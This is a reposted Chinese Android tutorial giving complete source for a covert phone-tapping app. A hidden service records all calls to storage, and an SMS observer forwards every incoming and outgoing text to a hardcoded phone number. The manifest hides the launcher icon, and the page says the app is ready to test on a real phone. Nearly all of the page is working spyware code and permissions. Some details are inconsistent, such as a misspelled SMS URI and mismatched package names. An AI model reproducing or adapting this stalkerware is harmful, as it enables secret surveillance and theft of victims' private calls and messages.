Android service 服務的應用之電話監聽器以及短信監聽器

cg4f 9年前發布 | 20K 次閱讀 Android Android開發 移動開發

首先建立一個項目工程文件,如下圖所示:

首先在MainActivity.java文件啟動電話和短信的界面,代碼如下

package com.xunfang.wiretap;

import com.xunfang.observer.MyObserver; import com.xunfang.services.PhoneService;

import android.support.v7.app.ActionBarActivity; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.os.Handler; import android.view.Menu; import android.view.MenuItem;

public class MainActivity extends ActionBarActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    //電話
    setContentView(R.layout.activity_main);
    Intent intent = new Intent(this,PhoneService.class);
    startService(intent);
    //短信
    Uri uri = Uri.parse("conten://sms");
    getContentResolver().registerContentObserver(uri, true, new MyObserver(this,new Handler()));

}
@Override
public void onBackPressed() {
}

}</pre>

然后進入電話管理服務界面PhoeService.java界面。代碼如下

package com.xunfang.phoneservice;

import java.io.IOException;

import android.app.Service; import android.content.Intent; import android.media.MediaRecorder; import android.os.IBinder; import android.telephony.PhoneStateListener; import android.telephony.TelephonyManager;

public class PhoneService extends Service {

// 管理電話
private TelephonyManager tm;

private MyListener listener;

// 創建一個收音機
private MediaRecorder mr;

@Override
public IBinder onBind(Intent intent) {
    return null;
}

@Override
public void onCreate() {
    super.onCreate();
    // 實例化
    tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);

    // 監聽電話的狀態
    listener = new MyListener();
    // 注冊監聽者,監聽電話的狀態
    tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
}

private class MyListener extends PhoneStateListener {
    @Override
    public void onCallStateChanged(int state, String incomingNumber) {
        super.onCallStateChanged(state, incomingNumber);

        switch (state) {
        case TelephonyManager.CALL_STATE_IDLE: // 空閑狀態
            System.out.println("電話空閑");
            if (mr != null) {
                // 說明錄音機停止錄音了
                mr.stop();
                mr.release();
                mr = null;
            }
            break;
        case TelephonyManager.CALL_STATE_OFFHOOK: // 摘機狀態(通話狀態)
            System.out.println("通話狀態");
            // 1.創建一個收音機
            mr = new MediaRecorder();
            // 2.設置音源
            mr.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL); // ZET
            // 3.設置錄制音頻的格式
            mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
            // 4設置音頻的采樣率
            mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
            // 5.設置錄制的文件放置的位置
            mr.setOutputFile("/mnt/sdcard/xxx.avi");
            // 6.準備錄制
            try {
                mr.prepare();
            } catch( Exception e) {
                e.printStackTrace();
            }
            // 7.開始錄制
            mr.start();

            break;
        case TelephonyManager.CALL_STATE_RINGING: // 響鈴狀態
            System.out.println("響鈴狀態");
            break;
        }
    }
}

}</pre>

然后進入管理短信服務界面MyObserver.java,代碼如下所示

package com.xunfang.observer;

import java.text.SimpleDateFormat; import java.util.Date;

import android.content.ContentResolver; import android.content.Context; import android.database.ContentObserver; import android.database.Cursor; import android.net.Uri; import android.os.Handler; import android.telephony.SmsManager;

public class MyObserver extends ContentObserver { private Context context; public MyObserver(Context context,Handler handler) { super(handler); this.context = context; }

@Override
 public void onChange(boolean selfChange, Uri uri) {
    ContentResolver resolver = context.getContentResolver();
    Cursor cursor = resolver.query(uri, new String[]{"address","body","type","date"}, null, null, "date desc");
    cursor.moveToFirst();
    String address = cursor.getString(0);
    String body = cursor.getString(1);
    int type = cursor.getInt(2);
    long date = cursor.getLong(3);
    //將日期格式化,按這個模式輸出日期
    String time = new SimpleDateFormat("yyy-MM-dd hh:mm:ss").format(new Date(date));
    //type=1,表示發送短信,而type=2是表示接收短信,這個可以默認系統短信的數據庫表導出來看一下
    if(type ==2 ){
        String sms = "檢測的到對方的手機發送信息: 地址:" + address + " 內容:" + body + "時間 :" + time;
        String phone = "18883278692";  //這個電話號碼是你要將這個信息發送到哪個人的電話號碼
        //拿到默認短信管理器
        SmsManager sm = SmsManager.getDefault();
        //發送短信
        sm.sendTextMessage(phone, null, sms, null, null) ;
        System.out.println("檢測的到對方的手機發送信息: 地址:" + address + " 內容:" + body + "時間 :" + time );
    }
    if(type == 1){
        String sms = "檢測的到對方的手機接收到的信息: 地址:" + address + " 內容:" + body + "時間 :" + time;
        String phone = "18883278692";      //這個電話號碼是你要將這個信息發送到哪個人的電話號碼
        SmsManager sm = SmsManager.getDefault();
        sm.sendTextMessage(phone, null, sms, null, null) ;
        System.out.println("檢測的到對方的手機接收到的信息: 地址:" + address + " 內容:" + body + "時間 :" + time );
    }
 }


}</pre>

代碼到這里就差不多了,不過千萬不要忘了添加權限和服務的申明,在AndroidManifest.xml配置如下

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="

<uses-sdk
    android:minSdkVersion="8"
    android:targetSdkVersion="21" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>

<application
    android:allowBackup="true"
    android:icon="@drawable/ic_launcher"
    android:label="@string/app_name"
    android:theme="@style/AppTheme" >
   <!--  <activity
        android:name=".MainActivity"
        android:label="@string/app_name" >
        <intent-filter>
            <action android:name="android.intent.action.MAIN" />

            <category android:name="android.intent.category.LAUNCHER" />
        </intent-filter>
    </activity> -->
    <service 
        android:name="com.xunfang.services.PhoneService"></service>
     <receiver 
        android:name="com.xunfang.broadrecevice.MyBroadReceiver"
        >
        <intent-filter >
            <action 
                android:name="android.intent.action.NEW_OUTGOING_CALL"
                />
        </intent-filter>
    </receiver>
</application>

</manifest></pre>

到這里已經全部配置完成,可以用真實機進行測試。



來自:
http://www.cnblogs.com/ouysq/p/4640991.html

 本文由用戶 cg4f 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!